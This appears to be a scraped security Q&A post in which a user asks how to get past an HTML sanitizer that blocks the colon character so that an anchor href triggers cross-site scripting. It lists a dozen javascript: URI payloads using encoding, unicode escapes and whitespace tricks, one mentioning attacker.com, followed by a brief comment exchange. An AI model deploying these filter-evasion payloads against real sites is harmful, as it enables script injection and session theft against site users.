I try to bypass a XSS filter to trigger a XSS in url context.
But the problem this following char is blacklist ' :'
The site allow the user to use some basic html balise like h1, h2, h3, p, a, u, etc ...
The only potential vector attack is to trigger the XSS with this <a href='javascript:alert()'></a>
But the problem the char ':' is harshly blocked by a htmlsanitizer.
After many research in internet i can not bypass it I have try to use urlencoding and numeric
with numeric encoding the char is automatically decoded and the my payload is blocked.
And with urlencoding the payload is not blocked but the navigator
Note the htmlsanitizer don't block alert(1); into the payload
I have try this following payload and not working
<a href='javascript:alert(1);//https://attacker.com/'>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript://%0d%0aprompt(1);com'>Click</a>
<a href='javascript:alert(1)'>Click</a>
<a href='javascript:alert(1)'>Click</a>
<a href='javascript:alert(1)'>Click</a>
<a href='   javascript:alert(1)'>Click</a>
<a href='javascript:\u0061lert(1);'>Click</a>
<a href=javascript:alert(1)>Click</a>
<a href='javascript:%61%6c%65%72%74%28%31%29'>Click</a>
<a href='javascript:\u0061le%72t(1)'>Click</a>
<a href="j	a	v	asc
ri	pt:(a	l	e	r	t	(1))">Click</a
/!\ Note: I can only control the href attribute, and the quote is escaped /!\
My question is, is possible to trigger a XSS in url context without this following caracter ' : ' ?
Thank you
:
is blocked, is means if the string contains:
then the web page returns an error likeÌ'm sorry Dave, I'm afraid I can't let you do that
? or is the:
encoded in some way into the finally-accepted string?javascript:alert(1)
the HTML DOM parser add the keyword denied: before javascript like thisdenied:javascript:alert(1)